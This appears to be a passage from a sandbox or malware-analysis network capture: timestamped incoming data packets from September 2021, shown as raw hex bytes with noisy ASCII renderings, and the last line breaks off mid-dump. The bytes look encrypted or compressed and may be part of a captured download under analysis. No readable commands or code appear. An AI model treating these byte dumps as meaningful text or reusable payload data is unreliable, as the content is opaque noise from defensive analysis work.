2021-09-27 16:55:59 UTC	124	IN	Data Raw: 4a c2 7e b6 28 7f 23 d0 c5 fb 60 8a a6 83 40 8d 72 14 93 b4 b1 83 67 b0 19 88 f4 91 31 b5 96 63 c2 ba 1b 41 a5 cc 99 f3 cc 1a 77 59 d8 db a6 7e f4 fc b0 ee 58 50 85 18 68 ec 12 20 cf 92 ad 3d 63 89 db b6 db df c8 8f 57 7a 54 ac 75 2f ab 52 3a aa 94 62 56 e7 32 e7 ad 77 8f e9 25 8c ee 77 6e 56 32 a6 79 56 49 1f 39 18 1c a4 ac 0c 71 90 1c 02 69 f1 46 c0 26 56 9d eb af 1b 33 ab 28 4f ad d1 b9 61 49 c2 c7 51 d1 85 49 5c 1d b7 ed 36 e2 41 13 50 d7 4d 9d 31 60 19 c4 89 0e 38 39 94 71 4d ba d6 7e ff 2f 4d 0c 9f 70 dc a8 a9 94 d5 74 b4 76 72 3b 82 da 0e 39 bf 22 ce 22 01 22 60 a5 7d 1f 2f eb bd 5c 2a 7d 0e c0 7e f7 2f 21 9b a6 28 49 09 7c ab 5a bb 15 d4 34 9b 66 85 b7 d2 7b 67 8f d5 a5 16 56 90 1f 5d ea b7 19 cf 26 89 7b 81 aa 0d 72 ba 2a 32 d8 e6 3a 35 09 a3 39 Data Ascii: J~(#`@rg1cAwY~XPh =cWzTu/R:bV2w%wnV2yVI9qiF&V3(OaIQI\6APM1`89qM~/Mptvr;9"""`}/\}~/!(I\|Z4f{gV]&{r2:59
2021-09-27 16:55:59 UTC	125	IN	Data Raw: 47 51 a4 a6 c1 3b d5 0e 28 7e d2 e1 8b b0 8b 72 71 15 bb f0 63 84 b3 3d db 5c a4 3c 87 97 ad 75 a2 e0 ff e2 53 89 31 9f e6 0b 2c 4e 39 a6 2b 7b 01 4b fd 07 26 25 e6 80 e4 ef 0f b4 d9 bf 5f 8f 7d dc da 8e 96 f8 5c 88 30 fc 9c bd 8c 1d 13 ce ab 0c 84 ae d2 f1 70 43 10 39 0a e9 92 7f d6 c5 cc ff e3 64 7b 08 62 c2 e9 1e 2b 4c 1a c5 51 e9 f5 99 be 08 3f ae 48 f0 e4 fd 17 b9 ac f6 d7 a8 29 61 13 63 5c 2b ae f6 bc 0b 06 68 6b bc 05 1c ea 56 21 1e 8e c7 36 ea 16 c6 f3 34 36 8e bd c2 b9 06 bf aa 58 47 90 02 c7 16 f1 b9 e1 83 42 c7 7c 3a 5f ec 6f 10 b1 c7 bd 91 a4 ad b1 3e 7f ce 83 f8 f8 a0 1f 36 e7 36 38 90 e5 24 38 e6 1d 07 a1 25 5a 70 d7 6c 7d 0d ac 80 ce a9 8c 52 25 2a 8d 32 09 d3 b9 a1 e3 3b cb da 32 7c 3b de 64 48 f0 f3 ff 8d 4f 26 fc 00 97 94 50 dd ec 02 bb Data Ascii: GQ;(~rqc=\<uS1,N9+{K&%_}\0pC9d{b+LQ?H)ac\+hkV!646XGB\|:_o>668$8%Zpl}R%*2;2\|;dHO&P
2021-09-27 16:55:59 UTC	127	IN	Data Raw: 53 2e a6 79 56 7e 76 a1 3d 3b b5 84 00 4b b0 bd 04 75 0f 50 c4 0d 53 b1 d1 98 62 49 32 38 4b b6 c5 78 fa 40 fa cb 0c 4b bb 69 e9 61 c5 ec 2a c0 44 68 51 d1 6d fe 50 f5 0b c0 8d 00 7c bc bd a2 43 b0 c3 37 e6 51 4f 0c 9f 70 c2 93 80 96 c4 76 80 e6 0d 8e 96 d8 71 a7 ff b8 ef 71 7c 05 7f ee 75 ac 2c eb b7 4f 3e 5c 30 c6 7e e0 01 50 ec c1 28 65 0a 6b c5 6f 81 32 c8 16 84 35 a1 7a 2e 7a 4b 84 d8 f6 44 55 90 1d 09 f6 c8 80 c4 0e f4 65 c2 3a 22 46 a6 08 2d 8a c2 c5 c9 08 8f 32 c0 97 6a 7d 71 0f ac 72 e6 c9 38 fa 80 a9 e2 00 70 e5 9c 5f 1a 94 30 ea 51 06 62 45 77 2b b9 5c 3d 0f dc 4c 34 c7 af 6c d3 16 b3 c6 85 dc 0f df 1f b5 9a 9f 92 c4 a2 6e d9 8d 22 5e df 12 6f 08 1d 99 22 fa 15 43 f0 68 9a e5 1d c5 60 1b 15 2e 9f db 9c 61 47 70 e0 7f d1 b7 83 f5 f8 66 d5 56 5e Data Ascii: S.yV~v=;KuPSbI28Kx@Kia*DhQmP\|C7QOpvqq\|u,O>\0~P(eko25z.zKDUe:"F-2j}qr8p_0QbEw+\=L4ln"^o"Ch`.aGpfV^
2021-09-27 16:55:59 UTC	128	IN	Data Raw: e0 88 d4 34 5b f5 e5 f6 77 14 56 85 e0 7c fb fb ab ae 28 f0 84 26 8e 60 d4 3a bf b3 9e 67 e3 7a f7 34 7c 36 14 b3 69 99 26 16 5e 5c 82 27 cc ec 7c 4b 7f 06 ee 1b ec 09 af 43 7b 65 19 9a dd d2 39 b5 35 7d 6a 83 0c f5 00 d1 5e cb ed 3c 43 55 17 59 f3 19 a0 fa 94 2b b6 bb d9 8e 0e e0 eb ae e8 cf 97 27 14 0f 30 12 fa 84 b2 11 cb 1b 18 d6 95 11 23 40 4b 62 78 93 a0 51 8c a1 40 2b 18 99 12 f8 f9 d7 df 65 2c e3 f3 2f 0e a7 d1 23 39 4f ed 8d a9 6d 34 66 25 a5 83 5e ef f9 22 b0 32 f1 d7 5b 21 cb 22 49 b2 ed d5 f8 0d db 82 28 53 82 de 6d fa 2e 48 57 7c 66 f5 5c e9 45 2d d4 69 cd f5 82 20 cc a2 14 83 78 50 ef a9 65 83 61 2f b3 89 cf f2 1d b1 37 7b 8d 5d e9 70 2b 7d 34 a4 b0 71 47 44 c6 0e b5 6f 42 90 db ea 0f 2a b6 80 d6 d2 39 b9 6e 0d f4 e7 db ec a5 32 b0 1c e6 18 Data Ascii: 4[wV\|(&`:gz4\|6i&^\'\|KC{e95}j^<CUY+'0#@KbxQ@+e,/#9Om4f%^"2[!"I(Sm.HW\|f\E-i xPea/7{]p+}4qGDoB*9n2
2021-09-27 16:55:59 UTC	129	IN	Data Raw: 77 08 cb 20 50 35 74 3d 54 79 e6 2b 24 ba 75 2b 65 08 5e 05 8b 3d 1e c7 34 bb ef 81 af 2c e0 6e b6 c6 f8 49 cf 90 1b 23 b8 22 1e c5 0e e9 52 ac a2 07 6d 83 a8 4c 50 e3 21 cf 28 16 2d cc bf dd 5a 5c 1b a0 38 01 50 39 fa a4 21 a1 9a 55 d7 98 51 28 d2 10 1c 79 80 1c c7 5e 06 bf 7c a1 25 b6 32 37 e3 82 7a ea 73 b3 e3 a8 d2 09 61 5d 95 6f 82 98 ec 94 44 f4 89 08 de 8b e5 10 91 18 b9 bd e5 53 d9 4f 60 b8 d1 24 a3 db e1 17 2e bf 6f 97 49 6a 6d ea 51 d6 df fd 6a d3 e0 af d0 18 ac 68 4e 6f 3c 79 a2 a7 1a 01 26 f7 7e a7 bc 9c 7e 91 87 85 d1 4d c3 13 f9 25 d8 38 4a 01 01 d6 5c ed 99 53 c2 8e 2d 48 5a be f4 05 71 b0 46 96 a4 6a ce ca ae c2 1f 8d fd 51 4b bf 4f 5a b6 60 dc fe c3 dc db ef 4e e9 73 89 94 78 1a 73 ff 75 8a dd c0 47 6b ec 2c 1c 39 47 89 60 6d a8 47 33 0f Data Ascii: w P5t=Ty+$u+e^=4,nI#"RmLP!(-Z\8P9!UQ(y^\|%27zsa]oDSO`$.oIjmQjhNo<y&~~M%8J\S-HZqFjQKOZ`NsxsuGk,9G`mG3
2021-09-27 16:55:59 UTC	130	IN	Data Raw: 17 e7 55 7e 0b 97 0a 79 52 61 68 5b 10 16 bb bd 10 5d bd 0f 06 73 25 c5 92 b9 50 b1 d3 92 a6 37 ab 39 d1 97 f7 56 46 45 79 c5 2a 54 a4 26 50 63 c5 f4 1e c5 6b 6a 57 fd c1 ee b7 6d 0a c4 a9 b0 3c 26 98 15 69 bb ce 51 e6 49 4d 0c 9f 4f a0 b3 ad 94 db 79 82 a5 71 17 91 f2 f3 c6 27 23 ca 58 53 93 60 af 55 fc 0b c6 a5 76 15 c4 1d c4 7e c6 51 36 92 58 36 6c 26 59 85 f5 a2 35 45 4e 02 76 81 ab 0c cb 4b 9b d7 44 4c 7a 81 3d 03 29 b6 19 c5 2e 73 72 81 a0 1d 43 84 2c 32 cf c8 a3 b5 91 8e 2d c8 9f f5 7f 71 09 1c 3d b5 41 1f da 36 b6 a6 9a 75 4f 9a 79 05 c7 38 37 51 06 64 74 dd 78 22 5d 3b 21 96 81 ad c6 af f2 e9 7e 38 c5 88 61 29 c0 5a b5 e7 95 92 c4 a0 6e d9 8d 22 5e df fa 6f 08 1d 99 22 c5 e7 d9 d5 45 0f e6 2f 91 66 c1 a3 2e 9f c4 b0 c2 62 72 e0 66 da f5 d0 6e f9 Data Ascii: U~yRah[]s%P79VFEy*T&PckjWm<&iQIMOyq'#XS`Uv~Q6X6l&Y5ENvKDLz=).srC,2-q=A6uOy87Qdtx"];!~8a)Zn"^o"E/f.brfn
2021-09-27 16:55:59 UTC	131	IN	Data Raw: 66 fe ec ee 2b e5 4e 11 ec de ee fb 3c 14 8a 80 e0 7c c7 59 8d ac 28 e9 8b 60 dd fb d5 3c 91 2a 8e 64 c7 57 fc 32 b6 58 34 bd f6 bc 0b 1b 68 54 7a 25 cc ea 76 8e 0a 9f ef 04 cc 3e ed db 5e 4e 3d 3a bc 24 18 ab 34 5d bc 9e 24 d8 98 f4 75 f3 a5 62 0c 54 17 5d cc ba 31 df b9 3b b1 8c 84 ac 2b e3 c1 28 89 47 be 0a 12 2f e1 38 90 fa b1 35 e6 0d 21 87 d8 34 0e 4e 4d 89 02 b3 96 4b ad 89 70 01 35 9d 38 78 ad 20 a0 fc 29 c3 2f 30 7c 3d 6e 2b 1b 7b d4 df 51 50 31 66 05 af 96 76 c2 e4 03 9e 35 9d a9 c4 0a 4d 58 cf c0 77 f4 f5 db fd 9d 5b e9 f1 f6 7f dc 11 9c 7f 51 64 d5 6c cf 2b 53 52 49 e5 dc 9f 54 50 ad bf f2 c7 4e 9b 8d 26 5c 61 2f ac 04 c2 f2 0d 97 11 8b e7 23 70 51 7c 75 2b d1 35 75 42 67 e2 11 c6 65 be eb 42 eb 12 06 bb 59 d6 d4 13 4d 35 b9 e7 c1 ff 28 d3 a8 Data Ascii: f+N<\|Y(`<*dW2X4hTz%v>^N=:$4]$ubT]1;+(G/85!4NMKp58x )/0\|=n+{QP1fv5MXw[Qdl+SRITPN&\a/#pQ\|u+5uBgeBYM5(
2021-09-27 16:55:59 UTC	132	IN	Data Raw: a5 1e 36 54 66 2a cb 4c 50 35 74 87 e1 53 f4 0d 1e 69 58 29 65 2e 6f 89 f5 a4 00 ca 18 b6 75 81 a9 06 f8 35 02 d6 de 6d 77 6c 1b 23 98 2c 3c e8 1f d6 5a 7d a0 07 6b 89 06 3c c9 e2 3f e3 25 8d 2d ca 95 c1 01 e8 08 86 1c b8 ad 39 fa 84 2c 83 b7 47 ee b2 84 05 d0 10 3a 63 08 62 5e 40 1d 93 71 39 25 b0 18 2f b8 36 69 cc 57 09 1d a8 d2 29 5a 7f b8 7e bb b2 3a b9 46 f4 af 69 56 f5 7c 06 b9 31 9b 26 e3 79 5b ab dc 94 c3 06 a3 bf e1 17 2e 05 e1 bd 58 4c 52 1f 79 fb dd dd 20 f7 66 d1 53 31 81 6e 6e f5 16 fb dc a4 3e 2c 30 f1 5e 3a bc 9c e4 94 1f 93 f7 6d dc 1f d1 08 fa 68 42 2b 83 b0 ed c1 9b 57 e4 39 ab 36 c3 25 d1 2c 40 97 67 0b a4 f0 eb c7 7e e3 3f 8c e6 79 66 9d 1d 52 9c e6 bd 79 ea f1 dd cf d6 c3 f5 f7 97 5c 37 65 f9 57 15 dd c0 dd 6e 07 39 3a 19 5a 81 48 40 Data Ascii: 6Tf*LP5tSiX)e.ou5mwl#,<Z}k<?%-9,G:cb^@q9%/6iW)Z~:FiV\|1&y[.XLRy fS1nn>,0^:mhB+W96%,@g~?yfRy\7eWn9:ZH@
2021-09-27 16:55:59 UTC	134	IN	Data Raw: cd c6 ac f7 d8 95 8c 68 96 37 38 94 da 09 11 cb 1f 9d 82 22 26 28 6e 4f 7c 09 b3 b6 38 9c a1 5d 1c 3f b3 3f fc d3 bf 8b 7e 53 7a f6 30 78 1d d7 0f 36 69 68 da a4 41 17 46 06 bb 9a 76 e2 8d 32 b6 18 82 81 ef 22 cb 20 7c 47 09 69 d4 02 f9 bd 7f 72 d4 db f7 df 1c 57 59 71 40 f4 5a c3 0b 2e 5d 68 cd ee 94 7c 7b 85 39 8a 74 c9 e5 10 07 86 65 0f 89 9f e7 df 85 94 1c 43 c1 03 55 70 2b 79 0b 57 3a 54 6a 55 eb 39 ed 4d 38 93 f1 6c 6c 9b 9a 82 d2 f4 35 d6 10 94 6f c2 f2 e1 f5 88 b3 30 e9 3e 70 d8 91 87 d3 79 93 b0 75 d3 d5 8b 79 31 38 13 33 b1 4f e2 5d b5 53 fb b8 f5 ec c1 ab a8 81 88 42 88 dc 3d fe 32 b0 9c 6a 9a 36 f1 72 96 1b 37 c0 a2 c1 ba 15 1c 08 cc 99 f7 7c 3f 5a 58 ce f9 8e 42 f5 fc 90 40 49 50 94 11 69 c0 07 0d ce 94 87 bf 0c 14 c5 bc 21 fe cd 81 55 01 4f Data Ascii: h78"&(nO\|8]??~Sz0x6ihAFv2" \|GirWYq@Z.]h\|{9teCUp+yW:TjU9M8ll5o0>pyuy183O]SB=2j6r7\|?ZXB@IPi!UO
2021-09-27 16:55:59 UTC	135	IN	Data Raw: 1d 05 fe 33 ad c6 8f a4 de 53 29 fc a7 fa 04 c2 5a 93 45 1b ec 5d b8 46 f0 af 6b 59 f5 7c 8b b4 31 8b 00 c5 1a d8 d5 45 b5 18 10 83 40 fe 33 06 b2 c6 90 4f 40 f4 9e e0 fa dd f9 4c b3 67 d1 49 83 89 41 7c d5 1c 33 a3 3d 3f 0c cb c3 5e 3b a3 8f 56 9c 30 82 d7 67 5a 60 48 09 da 3c 6c 60 82 a8 c5 76 bc 7a f0 35 0d 03 5b 24 d1 08 72 85 66 0b bb 4e e6 c7 6e c5 19 a7 61 07 ff bc 4f 58 bc aa a3 67 c2 46 fa e2 c2 cf 53 c5 0f 5d 37 41 ef 46 14 dd df 62 63 07 29 1c 3f 72 06 36 d9 ab 47 31 05 64 be 34 e0 01 40 34 16 37 5b b1 47 cf b2 ab 87 04 eb 48 68 9f 80 cc a1 d5 08 02 e7 a6 50 a7 b2 8f 54 15 7a c5 69 f8 a1 9a 30 f2 e6 cf 10 88 b1 92 05 91 42 ff fd 71 be 0e b5 cb 0f 06 ce 6d 51 54 e2 04 6b b6 19 36 bf 59 88 c6 db 36 84 b6 0a 5f 8f 5d 62 da a6 bb e5 78 a6 37 94 e2 Data Ascii: 3S)ZE]FkY\|1E@3O@LgIA\|3=?^;V0gZ`H<l`vz5[$rfNnaOXgFS]7AFbc)?r6G1d4@47[GHhPTzi0BqmQTk6Y6_]bx7
2021-09-27 16:55:59 UTC	136	IN	Data Raw: 6c ed 9e 9c 54 56 1d 1c a1 4c 69 bb e6 07 86 61 0f 30 8b e7 df 00 91 19 7c e5 23 76 5b ad 07 b2 d0 2a 50 4a 3a e1 11 c0 d5 1d b8 c9 cc 32 72 9a 82 d6 f4 af c2 10 94 ea ea f7 de d1 a8 93 1b 6f 40 c9 48 81 83 f3 17 9f 98 58 4b f0 a0 41 91 66 fb 33 b1 4b e2 b3 a1 53 fb 3d dc e9 fe 8f 88 a0 a3 c4 f6 65 a2 ee 36 90 f1 62 b2 1b 69 57 bd 23 97 9e 49 c1 ba 11 1c f5 d8 99 f7 f9 10 5f 67 ea d9 a0 69 73 82 29 e6 59 54 b4 7d 7a e8 2a 95 eb bf bf 1b 52 fe c5 bc 25 fe 3b 95 55 01 ca a6 5d 06 81 05 3e 80 18 03 c4 f5 36 e3 9c 07 91 e4 db 17 e7 55 7e 0b 97 d3 78 52 61 68 d1 0d 16 bb bd 29 5d bd 0f 06 73 25 c5 92 b9 50 b1 d3 92 7d 36 ab 39 d1 97 f7 56 46 45 a2 c4 2a 54 a4 69 4e 63 c5 f1 1e c5 6b 6a 57 fd c5 ee b7 6d 0a c4 a9 69 3d 26 98 15 69 bb cd 51 e6 90 4c 0c 9f 4f f6 Data Ascii: lTVLia0\|#v[PJ:2ro@HXKAf3KS=e6biW#I_gis)YT}zR%;U]>6U~xRah)]s%P}69VFE*TiNckjWmi=&iQLO
2021-09-27 16:55:59 UTC	137	IN	Data Raw: ed c1 9b 57 e4 39 af 36 c3 25 d1 2c 40 00 67 0b a4 f0 eb c7 7d e3 3f 1b e6 79 66 9d a5 4b 9c e6 b8 4f ef de df c9 fa 6f 0d 10 0f 5d 33 41 4e 54 14 dd 5a 62 66 38 0d 3c ae 59 80 48 60 44 50 35 25 36 af 1c cd 99 65 1f 2e 97 05 65 47 cf b6 ab 44 16 eb 48 ed 9e 85 f3 85 f5 96 29 61 d8 e9 58 a5 8b 74 44 76 ed 44 60 84 b1 08 52 b8 18 10 88 b5 92 e3 83 42 ff 78 76 bb 31 91 eb 90 2d 48 13 e8 5e fa 00 4b e6 17 1e 92 c1 ad ed e3 92 da 60 0a 5f 8b 5d 59 c8 a6 bb 60 79 a3 0b b0 c2 be 8c 1d 17 f1 a0 8e a1 83 c4 ff 42 50 30 f8 20 6f ec fe ff e8 ca df 7e 4f 11 76 61 e6 c4 08 12 7e 1b e1 7c e7 f3 9a b4 28 f6 b1 54 d8 d4 d7 3a bd 86 76 83 5f 56 f8 16 43 c4 35 bd 6c 03 03 24 5c 52 8f b9 cd ea 56 01 39 87 ef 1b f7 1f e8 f4 5c 48 11 96 40 c3 80 aa 30 79 4a 03 25 d8 02 4b 7d Data Ascii: W96%,@g}?yfKOo]3ANTZbf8<YH`DP5%6e.eGDH)aXtDvD`RBxv1-H^K`_]Y`yBP0 o~Ova~\|(T:v_VC5l$\RV9\H@0yJ%K}
2021-09-27 16:55:59 UTC	139	IN	Data Raw: 6a a5 fe a3 e8 18 32 fd fa b3 1b f7 52 2d 30 b1 be a1 e5 97 00 1a 00 70 98 f7 e6 3a fd 53 e8 d9 bb 6b d8 fe b0 e1 73 d2 ea 97 7a e8 2e 2f 70 93 ad 3d e8 a8 e9 ad 03 fe 5a 81 55 01 f5 3c 6c 2b 83 19 10 87 9c 7d 5b de b0 99 25 72 90 e0 fb 32 c3 78 6c b7 92 8a 6b 74 41 f7 3a 18 16 9b 35 06 75 90 12 0f 5d 22 45 ec 26 7b 37 a9 2b 09 37 af 19 8b b3 da 47 fa 40 fa d7 0c 74 44 48 58 63 e5 4c 2f e8 69 75 7d ff 6a 92 2e 6a 20 42 f7 86 3d 26 9c af 8d 97 dc 77 5c c3 60 1d b9 4f 10 ba ad 94 e4 bc b3 88 73 09 bf f5 77 b8 b8 08 48 22 ea 22 60 ab 75 a4 2f eb b7 ca 10 59 0c e2 5e 24 2a 3e 92 78 fd 7c 0e 74 99 dd 89 1d c7 36 b1 f1 ff 36 2d 7a 4f bb 14 df 69 57 0a 3e 0e 8a 90 39 06 0f f0 7a a1 7c 1e 6b a9 31 3f e1 cf 23 cb 0e a5 ab b2 26 46 7f 75 29 42 19 98 50 a3 df a9 a4 Data Ascii: j2R-0p:Sksz./p=ZU<l+}[%r2xlktA:5u]"E&{7+7G@tDHXcL/iu}j.j B=&w\`OswH""`u/Y^$*>x\|t66-zOiW>9z\|k1?#&Fu)BP
2021-09-27 16:55:59 UTC	140	IN	Data Raw: 94 61 73 56 c7 69 64 ae 31 5c 4d c7 81 15 a8 55 b3 7a 82 d8 da cf 41 b0 03 53 ca 09 2c 68 69 d3 55 e2 1f 42 d1 35 34 bf c5 87 6d b7 89 a5 f9 0f 7f 6a 7c c3 c9 3c 9e d7 4e a8 3a 73 e3 24 8d 3d 94 ca ba 96 be 89 f4 fa 6d 52 36 d4 8c 97 0b 66 fe ec ee 19 e4 4e 11 ec de ee fb 3c 14 b8 81 e0 7c c7 5e 9d ac 28 e9 a5 60 dd fb d5 3c 91 2e 8e 64 c7 57 fc 32 84 59 34 bd f6 bc 0b 18 68 54 48 24 cc ea 76 b9 1a 9f ef 07 c0 3b c2 d9 58 62 95 c2 5b bc 19 af 10 95 6b 9e 24 42 27 fc 49 c7 a3 aa db 54 17 7d 72 72 3a df a4 0c bd a6 a9 a8 01 63 95 37 f6 de bb 2a ff 0e 36 38 0a df 06 02 ed 3f ee a6 0f 34 2e eb 76 7d 09 ac 9c 7c a1 a3 5d 05 1f 1d 6c 67 d2 b9 a5 dc c7 e2 f7 30 e6 18 d9 1c 10 49 18 fe 89 50 11 c9 3e ba 9a 69 c9 d3 0f b4 18 99 83 40 5e 52 27 56 c5 57 1b d4 02 fd Data Ascii: asVid1\MUzAS,hiUB54mj\|<N:s$=mR6fN<\|^(`<.dW2Y4hTH$v;Xb[k$B'IT}rr:c7*68?4.v}\|]lg0IP>i@^R'VW
2021-09-27 16:55:59 UTC	141	IN	Data Raw: 90 12 0a 5d 22 45 ec 26 7b 37 a9 2b 09 37 af 19 40 b0 da 47 fa 40 fa d7 0c 74 8f 4b 58 63 e5 c8 2b e8 69 75 5c ff 6a 92 2e 6a 20 46 f7 86 3d 26 9c af 40 94 dc 77 5c c3 60 1e b9 4f dd b9 ad 94 e4 41 b7 88 73 08 99 f0 58 ba be 24 e0 da 0d ba 61 af 51 46 23 e9 b7 50 af 51 30 d6 58 c6 26 3c 92 58 09 5a 13 74 87 ea b6 37 ea 32 9b 71 ab 29 52 e3 4a 9b d3 fe 67 55 90 1b b9 bd 9b 0b e3 2e fe 78 81 a0 27 3a b4 2e 32 d6 f1 09 e6 0a 8f 2b e6 39 39 e6 70 09 82 38 97 52 39 fa 1e 93 8b 88 73 e8 9d 7b 05 d0 30 7e 4e 06 62 41 49 2e 96 5e 3b 23 9c b4 d3 5f ae 68 c8 73 39 e1 a8 d2 b3 e5 77 87 49 bd 82 c6 b9 46 d4 f5 3f 58 f5 63 06 b9 31 9b 26 e3 79 5f ab dc 94 c3 06 a3 51 e3 17 2e 05 e1 bd 5b 4c 52 f1 7b fb dd dd fd e4 66 d1 56 10 84 41 6c f3 3a 53 24 43 a6 2d 34 d5 7e 29 Data Ascii: ]"E&{7+7@G@tKXc+iu\j.j F=&@w\`OAsX$aQF#PQ0X&<XZt72q)RJgU.x':.2+99p8R9s{0~NbAI.^;#_hs9wIF?Xc1&y_Q.[LR{fVAl:S$C-4~)
2021-09-27 16:55:59 UTC	143	IN	Data Raw: c1 f3 b7 ae 28 f6 8e f4 d0 f9 d5 25 b0 84 dd ff c6 51 d2 90 1d c1 35 bd 68 b9 14 0b 4e 74 35 00 e1 fb 70 01 33 9d ef 1b c8 d1 e0 d9 5e 55 3f 91 c0 bd 1f 81 b6 03 f3 9f 24 dc 22 e2 5a e1 83 d8 ff 79 05 7b cc 5a 38 df b9 04 5e 84 a9 ae 34 d4 c3 83 f5 de b9 20 90 71 af 39 90 fe 0b 24 c9 1f 07 3d 2a 19 1c 68 4d 49 0b b3 96 74 73 81 5d 03 2a 91 3a d3 d1 b9 a7 d6 ab 9d 6e 31 7c 39 d4 3b 34 69 f2 65 ac 7d 23 40 05 8f 98 76 c2 db 2b 97 18 9f b6 ed 08 e6 24 56 c7 5d 76 ab 9b fc 9d 5f 53 e2 d9 6d fa ab 60 52 43 42 d5 6c c1 2b 53 6d 50 ec f1 9d 4b 5d af 14 8e 5e 49 b1 0f 78 1f 60 2f a8 be d0 dd 1f b1 ab 74 ca 31 56 51 1c 7b 2b d1 0a 17 4b 4a e0 0e c9 67 15 97 db ec 38 80 e5 1b d7 d4 17 f7 28 96 f5 e7 45 d6 fe b9 b3 11 d1 3c 50 49 a1 cb f2 66 9e 84 70 fc d7 8d 55 9d Data Ascii: (%Q5hNt5p3^U?$"Zy{Z8^4 q9$=hMIts]:n1\|9;4ie}#@v+$V]v_Sm`RCBl+SmPK]^Ix`/t1VQ{+KJg8(E<PIfpU
2021-09-27 16:55:59 UTC	144	IN	Data Raw: 5a 29 65 94 51 aa e7 82 3f 9f 32 9b 77 a1 c2 0f 7a 4b 84 cf f6 44 55 90 1d 09 1e c8 80 c4 0e f4 5a d8 a2 07 6b 33 0b 1f db c4 01 92 0a 8f 2d ec 3a 64 7f 71 16 89 30 b5 52 39 fc ae 34 d8 03 54 c8 96 59 5f d2 10 1a c9 23 4f 4f 79 26 e1 5e 3b 25 96 a6 8e c6 af 76 e4 7e 2b e3 ae f8 af be c3 94 6f 99 b2 9f bb 46 f4 15 07 75 e7 5a 31 ca 1e 99 26 c5 cf fa d5 45 8a db 2a ae 42 e1 11 04 1d ba 09 48 6a 76 c0 25 f9 dd fd f6 dc 4b c0 6f 39 f0 6e 6e f3 1c cd 81 3d 3f 36 1c fc 5c 3b ba b6 fc cf ab 83 d1 49 fc 43 d3 08 da a2 69 06 92 8e e5 b1 9b 57 e2 33 95 6b 5a 24 cf 00 4d 94 66 0d 8e ec b0 73 6d c5 1b ad b9 7b 66 bd d5 79 b1 f4 84 47 9c de df cf f0 29 50 89 0e 42 26 49 f4 57 14 db ea c1 35 b3 2a 1c 3d 78 df 4a 40 aa dd 10 08 3b 99 14 bf 99 65 19 24 c0 58 fc 46 d0 92 Data Ascii: Z)eQ?2wzKDUZk3-:dq0R94TY_#OOy&^;%v~+oFuZ1&EBHjv%Ko9nn=?6\;ICiW3kZ$Mfsm{fyG)PB&IW5=xJ@;e$XF
2021-09-27 16:55:59 UTC	145	IN	Data Raw: 8d 89 4a 97 4f 6d 79 29 cc 94 54 8c 3b 78 2e 27 bd 32 81 d1 b9 a1 dc 9e c6 f7 30 63 33 dc 23 34 69 f4 d5 0f 2e a8 67 25 be ba f6 c0 fb 22 2c 3d b2 bb e4 00 4b 24 56 c1 57 31 f0 02 fd 82 47 5b f9 d9 6d fc 1b c3 01 c8 65 f5 5e e3 aa 51 4d 68 57 d4 b0 46 70 a7 b8 8e 5e 4f bb 54 23 86 61 30 b1 b6 ca dd 1f b7 1b d7 99 ba 71 71 2f 59 a9 d3 2a 54 f0 6f cd 03 e6 6f ba 97 db ea 32 f8 be 82 d6 cb 1e ff 3d 96 f5 e1 f5 75 ad 31 94 31 ed 1e d3 4b 81 87 49 43 b3 8a 7e f1 56 8f 53 b7 66 8d 14 b1 4b dd 6e 9c 7e f9 22 d6 eb 55 f3 11 a7 89 46 a8 78 a1 ee 32 2a a6 4e a0 3d d3 f6 92 31 b1 9e 20 e6 ba 11 23 34 e5 b4 f5 e6 1c 5d cc 96 40 a7 43 f1 dc 35 e5 59 50 0e 2b 56 fa 0c 2f 4b 90 ad 3d 52 a2 e2 bc 25 c1 f3 a8 78 03 d5 ab 5f a9 fd 9c 39 aa 9a 5d db f6 36 e7 26 56 bd f5 fd Data Ascii: JOmy)T;x.'20c3#4i.g%",=K$VW1G[me^QMhWFp^OT#a0qq/YToo2=u11KIC~VSfKn~"UFx2N=1 #4]@C5YP+V/K=R%x_9]6&V
2021-09-27 16:55:59 UTC	146	IN	Data Raw: 58 aa 62 02 7e d2 86 a8 08 63 ac 48 f0 63 f0 17 aa 8a d0 68 c4 57 f8 32 d0 7e 34 bd 7b b1 0b 0b 4e 72 85 a7 b2 73 57 21 05 bf 79 19 e8 16 5a fc 73 59 31 9c 54 bf 19 ab 10 c9 4c 9e 24 c0 2a fc 5a e1 85 68 58 2a 8e 5c ec 6d 1a 48 bb 24 90 3e 8c 83 3a c3 cb 39 f5 de bf 2a a0 29 36 38 87 d2 06 12 cb 19 2d 25 71 ad 0f 4e 69 5d 91 b1 96 54 16 84 70 12 13 bb 8a fc d3 b9 81 4b 0b e3 f7 28 54 10 f6 0e 30 43 70 81 10 51 31 62 05 23 98 76 c2 61 07 9b 09 b9 89 5b 22 cb 26 76 78 51 f0 d5 15 d5 b0 59 73 d2 f1 ef 84 a8 44 7f 55 44 6f 58 c3 2b c9 68 45 dc d7 bd ce 54 87 39 ac e4 69 9b 89 1e ae 4c 2d ac 98 cd 5d 61 28 30 51 e3 03 eb 73 2b 79 b1 f4 07 45 4c 6a 7b 13 c0 4f 18 29 fd ea 12 1e b3 af d4 d4 15 fd 92 ea 6c e6 df f7 f3 34 97 31 e9 a4 75 64 90 a1 f3 fa 9c 98 58 f1 Data Ascii: Xb~cHchW2~4{NrsW!yZsY1TL$ZhX\mH$>:9*)68-%qNi]TpK(T0CpQ1b#va["&vxQYsDUDoX+hET9iL-]a(0Qs+yELj{O)l41udX
2021-09-27 16:55:59 UTC	147	IN	Data Raw: 98 b2 3f 92 5c 09 d9 0c 74 87 6f 81 32 d5 16 bb cb 83 af 2c 5a 59 b3 d7 de 76 41 b8 36 21 98 b0 33 43 70 69 7b 81 a4 27 d6 ab 2e 32 53 c7 0c d9 2e af 90 ce bf 47 5f 59 21 86 18 87 5e 11 d7 86 b6 a0 b0 d7 b6 0b 78 05 d4 30 a4 51 06 62 c4 7a 2b aa 7a 1b 9b b4 32 ad e6 99 40 cc 53 32 cb 85 d0 29 c6 70 13 11 04 93 c4 bd 66 4b 8d 22 58 6f 59 3c 83 3a b9 99 e7 53 d9 f5 7e bd c3 02 9c 4e c9 3a 2c 9f c2 ba cb 14 eb e1 79 ff fd 3d 6e f9 66 4b 6c 34 bd 4a 4e 33 3e 79 a2 1d 76 04 34 d1 40 13 91 9e 7e b7 18 00 af d4 dd 1e d5 28 1b 3a 4c 2b 19 8d e8 fd bf 77 23 11 2d 48 7a 75 f9 28 60 88 4e 26 a6 6a c8 c0 ea bb 86 8c e7 7d 46 7f 4d 5c 9c 7c 87 4a d0 fa ff 0d d2 e9 73 a9 57 75 37 61 c6 44 3c f0 c2 47 4d 00 ad 62 a0 59 80 4c 60 69 45 